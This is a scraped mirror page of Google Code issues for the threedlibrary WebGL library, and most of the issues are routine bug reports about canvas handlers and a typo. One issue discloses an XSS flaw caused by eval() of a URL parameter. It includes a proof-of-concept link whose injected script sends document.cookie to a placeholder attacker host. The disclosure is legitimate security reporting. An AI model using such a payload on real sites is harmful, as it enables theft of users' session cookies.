Coder Social home page Coder Social logo

threedlibrary's People

Watchers

James Cloos avatar

threedlibrary's Issues

webgl.js registerContextLostHandler and registerContextRestoredHandler reference window.canvas

webgl.js registerContextLostHandler and registerContextRestoredHandler 
reference window.canvas

See lines 197 and 206:

http://code.google.com/p/threedlibrary/source/browse/tdl/webgl.js?spec=svn96ae27
81ac090bbdc8fc02c1897a0cf440de6da7&r=96ae2781ac090bbdc8fc02c1897a0cf440de6da7

This is fixed in the version used in 
http://webglsamples.googlecode.com/hg/aquarium/aquarium.html

If you have those changes, could you please push them to this repo? Thanks.


Original issue reported on code.google.com by [email protected] on 21 Nov 2011 at 3:26

Canvas is not defined in webgl.registerContextLostHandler

What steps will reproduce the problem?
When you don't name canvas variable as "canvas"
i.e., assume you have a canvas component with id canvas and you refer it with a 
variable named "canvas1":
var canvas1 = document.getElementById("canvas");
instead of "canvas"
var canvas = document.getElementById("canvas");
then registerContextLostHandler or registerContextRestoredHandler will crash
since they access variable "canvas" which is not one of the input parameter, so 
if you declare variable name as canvas, they will access it as a global 
variable; and if you don't the variable is undefined.
They shouldn't access canvas this way

Original issue reported on code.google.com by [email protected] on 24 Dec 2011 at 3:35

nvas

What steps will reproduce the problem?
1.
2.
3.

What is the expected output? What do you see instead?


What version of the product are you using? On what operating system?


Please provide any additional information below.


Original issue reported on code.google.com by [email protected] on 6 Aug 2013 at 10:45

Typo in sync.js (patch attached)

I've fixed this in my clone here: 
https://code.google.com/r/axisofentropy-threedlibrary/source/detail?r=23ec5db0c9
f6705286828ea72b998a84fc5eb318

but I don't see how to do a "pull request" on Google Code.

Original issue reported on code.google.com by [email protected] on 18 Jul 2012 at 12:56

XSS vulnerability in tdl.webgl.setupWebGL. Really?

What steps will reproduce the problem?
1. Follow this link 
http://webglsamples.googlecode.com/hg/aquarium/aquarium.html?webgl=document.crea
teElement('img').src%3d'http://xss.attacker.net/xss.php?'+document.cookie
2. Use Chrome debugger or similar to monitor net traffic


What is the expected output? What do you see instead?
In the debugger you should see only requests to googlecode.com. 
However, you will see a 404 GET to xss.attacker.com, with your cookies 
attached. Fortunately for you in this exploit code, googlecode does not seem to 
attach any cookies, but most sites will. 

Attacker can run arbitrary script in user's with the privileges of the web page.

What version of the product are you using? On what operating system?

Please provide any additional information below.
tdl.misc.applyUrlSettings parses the url string and calls eval() on the value 
of the webgl query parameter, if present. Party on Garth.



Original issue reported on code.google.com by [email protected] on 21 Nov 2011 at 7:47

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.